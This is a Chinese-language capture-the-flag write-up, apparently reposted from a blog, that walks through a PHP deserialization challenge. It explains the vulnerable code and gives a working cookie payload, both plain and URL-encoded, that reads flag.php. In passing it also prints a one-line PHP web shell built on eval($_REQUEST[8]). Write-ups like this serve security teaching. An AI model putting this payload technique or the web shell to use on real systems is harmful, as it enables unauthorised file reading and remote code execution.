一道反序列化的CTF题分享


一、源码分析

首先看源代码:

<?php
Class readme{
    public function __toString()
    {
        return highlight_file('Readme.txt', true).highlight_file($this->source, true);
    }
}
if(isset($_GET['source'])){
    $s = new readme();
    $s->source = __FILE__;
    echo $s;
    exit;
}
//$todos = [];
if(isset($_COOKIE['todos'])){
    $c = $_COOKIE['todos'];
    $h = substr($c, 0, 32);
    $m = substr($c, 32);
    if(md5($m) === $h){
        $todos = unserialize($m);
    }
}
if(isset($_POST['text'])){
    $todo = $_POST['text'];
    $todos[] = $todo;
    $m = serialize($todos);
    $h = md5($m);
    setcookie('todos', $h.$m);
    header('Location: '.$_SERVER['REQUEST_URI']);
    exit;
}
?>
<html>
<head>
</head>

<h1>Readme</h1>
<a href="?source"><h2>Check Code</h2></a>
<ul>
<?php foreach($todos as $todo):?>
    <li><?=$todo?></li>
<?php endforeach;?>
</ul>

<form method="post" href=".">
    <textarea name="text"></textarea>
    <input type="submit" value="store">
</form>

分析源代码:
从源码中看到,定义了一个类,名称为readmereadme中使用了__toString()函数,这个函数是PHP中几个常见的魔术方法之一(魔术方法指的是满足一定条件会自动触发的函数),该方法当有对象被当做字符串输出时就会自动触发。注意这里指的是把类实例化后的对象,而不是变量。
源码第三行中的highlight_file()函数的语法为:

highlight_file(filename,return)

该函数是对文件内容进行语法高亮显示,这里的return如果该为true,则函数会返回高亮处理后的代码。
接着看下面的代码:


这表示如果对source参数进行了GET传参,就会将readme这个类实例化出一个对象,为$s
该对象会调用source方法并赋值为该脚本的绝对路径。下一行的echo $s表示将该对象当成字符串输出,这意味着前面的__toString函数将自动触发。
看到末尾有个exit,这意味着代码执行到这里时就会停止执行,这意味着__FILE__将无法改为指定的值,也就是该参数不可控。

接着看cookie传参部分的代码:

看到其中出现了一个substr()函数为,该函数的语法为:
substr(string,start,length)
这里start参数表示字符串切割的起始位置,是必填参数,length参数是可选的,默认为切割至字符串的末尾。
因此这里代码就很好理解了:

substr($c, 0, 32); \\表示截取字符串c的前32位(包括第32位),
substr($c, 32);\\表示截取字符串的第32位后的全部(不包括第32位)。

结合后面的if中的条件,这里可以得出结论:
传入的cookie参数的字符串是由$h$m组成,而$h实际上就是$m经过md5加密后的值。

再看下面POST传参中的代码,实际上这段代码的含义是读取用户通过POST传参传递给text参数的字符串,然后对其进行序列化后,一部分进行md5加密,另一部分保持不变,再组合成新的字符串,并设置为cookie参数,参数名为todos。
最后是设置header的location参数,用预定义变量获取URI(统一资源标识符)。
再看页面上的输出点:

<?php foreach($todos as $todo):?>
<li><?=$todo?></li>
//键值分离,并输出$todo的值

这里涉及了php的一种特殊写法,例如常见的一句话木马的写法一般是这么写:

<?php eval($_REQUEST[8])?>

实际上也可以这么写:

<?=eval($_REQUEST[8])?>

这里如果是函数,则=号会自动转换为php,而如果是变量,则会输出这个变量的值,例如:

<?=$a=1?> //相当于<?php echo $a=1 ?>

执行后会输出1。


二、传参分析

通过对靶场的源码分析,了解了源代码的基本内容和含义,
可以确定这里的GET和POST方法均为干扰选项,因此应重点看cookie传参的源码。
接下来考虑如何进行传参以访问flag.php文件。
根据靶场的源代码,如果能将$source的值改为’flag.php’即可输出flag.php的内容。
现在需要完成两个步骤,分别是寻找反序列化函数和输出点。
反序列函数所在的位置需要进行cookie传参才能访问到。会将对象当成字符串输出的点有两个,一个是GET传参中的echo,还有一个则是页面上的输出点。很显然,GET传参部分的代码中有exit,因此无法运行到后面的代码,也就无法获取cookie传参,无法被利用。因此这里需要从页面上的输出点入手。
通过分析源代码,我们传入的参数需要经过反序列化函数处理,输出点是foreach函数,而foreach函数里的$todos必须是数组,因此这里需要将传参进行序列化,并以数组的形式传进去。
将部分源代码复制,到本地修改部分代码,因为要访问的是flag.php,并且需要将数据序列化,因此修改代码如图所示:

<?PHP
Class readme{
    
    
    public function __toString()
    {
    
    
        return highlight_file('Readme.txt', true).highlight_file($this->source, true);
    }
	}
$s = new readme();
$s -> source ='flag.php';
$s=[$s];
/*
这里要注意,使用[]来定义短数组的方法只有在PHP版本>=5.4时才能用,否则需要用array()函数来定义数组
*/
echo serialize($s);
exit;
?>

最后输出:

a:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}

现在还需要分析如何让反序列化函数执行我们传入的参数,看源代码:

if(isset($_COOKIE['todos'])){
    
    
    $c = $_COOKIE['todos'];
    $h = substr($c, 0, 32);
    $m = substr($c, 32);
    if(md5($m) === $h){
    
    
        $todos = unserialize($m);
    }

传参需要以cookie的形式传入,且会经过字符串处理函数进行切割。输入的参数由$c接收,该参数会被分割为$h$m,而$h实际上就是$m经过md5加密后的值。
所以总结下来,要满足本题的条件,三个变量的值应当分别如下:

$h=e2d4f7dcc43ee1db7f69e76303d0105c
$m=a:1:{
    
    i:0;O:6:"readme":1:{
    
    s:6:"source";s:8:"flag.php";}}
$c=e2d4f7dcc43ee1db7f69e76303d0105ca:1:{
    
    i:0;O:6:"readme":1:{
    
    s:6:"source";s:8:"flag.php";}}

因此这里只要用$c的值对todos参数进行cookie传参即可获得flag的值。
要进行cookie传参,有多种方法,可以通过插件、控制台、或者抓包工具。
如果用抓包的方式传参需要进行一次URL编码,这里采用burp来传参,先对传参进行一次URL编码:

e2d4f7dcc43ee1db7f69e76303d0105ca%3A1%3A%7Bi%3A0%3BO%3A6%3A%22readme%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D

然后抓包传参即可。


三、小结

本文分享了一道反序列化的CTF题,并详细分析了源码和传参的设置,希望对大家学习渗透测试有帮助。

猜你喜欢

转载自blog.csdn.net/weixin_64551911/article/details/125942275
今日推荐